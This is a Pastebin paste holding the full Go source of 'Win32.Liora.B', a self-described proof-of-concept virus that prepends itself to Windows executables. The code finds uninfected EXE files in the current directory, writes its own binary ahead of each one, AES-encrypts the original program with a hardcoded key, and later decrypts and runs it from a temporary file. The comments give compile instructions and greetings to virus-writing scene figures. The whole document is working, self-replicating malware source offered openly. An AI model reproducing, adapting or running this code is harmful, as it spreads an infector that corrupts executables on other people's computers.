Advertisement
FlyFar

Win32.Liora.B - a POC PE prepender written in Go

Jun 18th, 2023
1,357
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 5.76 KB | Cybersecurity | 0 0
  1. /*
  2. * Win32.Liora.B - This is a POC PE prepender written in Go by TMZ (2015).
  3. *
  4. * Win32.Liora.B (May 2015) - Simple binary infector in GoLang (prepender).
  5. * This version encrypts the host code with AES and decrypts it at runtime.
  6. * It's almost a direct port from my GoLang ELF infector Linux.Liora, just a few tweaks.
  7. *
  8. * Compile with: go build -i liora.go (where go >= 1.4.2)
  9. * It has no external dependencies so it should compile under most systems (x86 and x86_64).
  10. *
  11. * Use at your own risk, I'm not responsible for any damages that this may cause.
  12. *
  13. * A shout for those who keeps the scene alive: herm1t, alcopaul, hh86, SPTH, genetix, R3s1stanc3 & others
  14. *
  15. * Feel free to email me: tmz@null.net || You can also find me at http://vxheaven.org/ and on Twitter @TMZvx
  16. *
  17. * http://vx.thomazi.me
  18.  */
  19.  
  20. package main
  21.  
  22. import (
  23.     "bufio"
  24.     "crypto/aes"
  25.     "crypto/cipher"
  26.     "debug/pe"
  27.     "encoding/binary"
  28.     "io"
  29.     "io/ioutil"
  30.     "math/rand"
  31.     "os"
  32.     "os/exec"
  33.     "strings"
  34.     "time"
  35. )
  36.  
  37. func check(e error) {
  38.     // Reading files requires checking most calls for errors.
  39.     // This helper will streamline our error checks below.
  40.     if e != nil {
  41.         panic(e)
  42.     }
  43. }
  44.  
  45. func _ioReader(file string) io.ReaderAt {
  46.     r, err := os.Open(file)
  47.     check(err)
  48.     return r
  49. }
  50.  
  51. func CheckPE(file string) bool {
  52.  
  53.     r := _ioReader(file)    //reader interface for file
  54.     f, err := pe.NewFile(r) //open the file as a PE
  55.     if err != nil {
  56.         return false //Not a PE file
  57.     }
  58.  
  59.     //Reading DOS header
  60.     var dosheader [96]byte
  61.     r.ReadAt(dosheader[0:], 0)
  62.     if dosheader[0] == 'M' && dosheader[1] == 'Z' { //if we get MZ
  63.         signoff := int64(binary.LittleEndian.Uint32(dosheader[0x3c:]))
  64.         var sign [4]byte
  65.         r.ReadAt(sign[:], signoff)
  66.         if !(sign[0] == 'P' && sign[1] == 'E' && sign[2] == 0 && sign[3] == 0) { //if not PE\0\0
  67.             return false //Invalid PE File Format
  68.         }
  69.     }
  70.     if (f.Characteristics & 0x2000) == 0x2000 { //IMAGE_FILE_DLL signature
  71.         return false //it's a DLL, OCX, CPL file, we want a EXE file
  72.     }
  73.  
  74.     f.Close()
  75.     return true //it is a valid EXE file
  76.  
  77. }
  78.  
  79. func CheckInfected(file string) bool {
  80.     //a method by genetix, very handy
  81.     _mark := "=TMZ=" //infection mark
  82.     fi, err := os.Open(file)
  83.     check(err)
  84.     myStat, err := fi.Stat()
  85.     check(err)
  86.     size := myStat.Size()
  87.  
  88.     buf := make([]byte, size)
  89.     fi.Read(buf)
  90.     fi.Close()
  91.     var x int64
  92.     for x = 1; x < size; x++ {
  93.         if buf[x] == _mark[0] {
  94.             var y int64
  95.             for y = 1; y < int64(len(_mark)); y++ {
  96.                 if (x + y) >= size {
  97.                     break
  98.                 }
  99.                 if buf[x+y] != _mark[y] {
  100.                     break
  101.                 }
  102.             }
  103.             if y == int64(len(_mark)) {
  104.                 return true //infected!
  105.             }
  106.         }
  107.     }
  108.     return false //not infected
  109. }
  110.  
  111. func Infect(file string) {
  112.  
  113.     dat, err := ioutil.ReadFile(file) //read host
  114.     check(err)
  115.     vir, err := os.Open(os.Args[0]) //read virus
  116.     check(err)
  117.     virbuf := make([]byte, 3039232)
  118.     vir.Read(virbuf)
  119.  
  120.     encDat := Encrypt(dat) //encrypt host
  121.  
  122.     f, err := os.OpenFile(file, os.O_RDWR, 0666) //open host
  123.     check(err)
  124.  
  125.     w := bufio.NewWriter(f)
  126.     w.Write(virbuf) //write virus
  127.     w.Write(encDat) //write encypted host
  128.     w.Flush()       //make sure we are all set
  129.     f.Close()
  130.     vir.Close()
  131.  
  132. }
  133.  
  134. func RunHost() {
  135.  
  136.     hostbytes := Rnd(8) + ".exe" //generate random name
  137.  
  138.     h, err := os.Create(hostbytes) //create tmp with above name
  139.     check(err)
  140.  
  141.     infected_data, err := ioutil.ReadFile(os.Args[0]) //Read myself
  142.     check(err)
  143.     allSZ := len(infected_data) //get file full size
  144.     hostSZ := allSZ - 3039232   //calculate host size
  145.  
  146.     f, err := os.Open(os.Args[0]) //open host
  147.     check(err)
  148.  
  149.     f.Seek(3039232, os.SEEK_SET) //go to host start
  150.  
  151.     hostBuf := make([]byte, hostSZ)
  152.     f.Read(hostBuf) //read it
  153.  
  154.     plainHost := Decrypt(hostBuf) //decrypt host
  155.  
  156.     w := bufio.NewWriter(h)
  157.     w.Write(plainHost) //write plain host to tmp file
  158.     w.Flush()          //make sure we are all set
  159.     h.Close()
  160.     f.Close()
  161.  
  162.     os.Chmod(hostbytes, 0755) //give it proper permissions
  163.     cmd := exec.Command(hostbytes)
  164.     cmd.Start() //execute it
  165.     err = cmd.Wait()
  166.     os.Remove(hostbytes)
  167. }
  168.  
  169. func Encrypt(toEnc []byte) []byte {
  170.  
  171.     key := "SUPER_SECRET_KEY" // 16 bytes!
  172.     block, err := aes.NewCipher([]byte(key))
  173.     check(err)
  174.  
  175.     // 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256
  176.     ciphertext := []byte("ASUPER_SECRET_IV")
  177.     iv := ciphertext[:aes.BlockSize] // const BlockSize = 16
  178.  
  179.     encrypter := cipher.NewCFBEncrypter(block, iv)
  180.  
  181.     encrypted := make([]byte, len(toEnc))
  182.     encrypter.XORKeyStream(encrypted, toEnc)
  183.  
  184.     //fmt.Printf("%s encrypted to %v\n", toEnc, encrypted)
  185.     return encrypted
  186.  
  187. }
  188.  
  189. func Decrypt(toDec []byte) []byte {
  190.  
  191.     key := "SUPER_SECRET_KEY" // 16 bytes
  192.     block, err := aes.NewCipher([]byte(key))
  193.     check(err)
  194.  
  195.     // 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256
  196.     ciphertext := []byte("ASUPER_SECRET_IV")
  197.     iv := ciphertext[:aes.BlockSize] // const BlockSize = 16
  198.  
  199.     decrypter := cipher.NewCFBDecrypter(block, iv) // simple
  200.  
  201.     decrypted := make([]byte, len(toDec))
  202.     decrypter.XORKeyStream(decrypted, toDec)
  203.  
  204.     return decrypted
  205. }
  206.  
  207. func Rnd(n int) string {
  208.  
  209.     rand.Seed(time.Now().UTC().UnixNano())
  210.     var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
  211.     b := make([]rune, n)
  212.     for i := range b {
  213.         b[i] = letters[rand.Intn(len(letters))]
  214.     }
  215.     return string(b)
  216.  
  217. }
  218.  
  219. func GetSz(file string) int64 {
  220.  
  221.     myHnd, err := os.Open(file)
  222.     check(err)
  223.     defer myHnd.Close()
  224.     myStat, err := myHnd.Stat()
  225.     check(err)
  226.     mySZ := myStat.Size()
  227.     myHnd.Close()
  228.     return mySZ
  229. }
  230.  
  231. func main() {
  232.  
  233.     virPath := os.Args[0]
  234.  
  235.     files, _ := ioutil.ReadDir(".")
  236.     for _, f := range files {
  237.         if CheckPE(f.Name()) == true {
  238.             if CheckInfected(f.Name()) == false {
  239.                 if !strings.Contains(virPath, f.Name()) {
  240.                     Infect(f.Name())
  241.                 }
  242.             }
  243.         }
  244.     }
  245.  
  246.     if GetSz(os.Args[0]) > 3039232 {
  247.         RunHost()
  248.     } else {
  249.         os.Exit(0)
  250.     }
  251. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement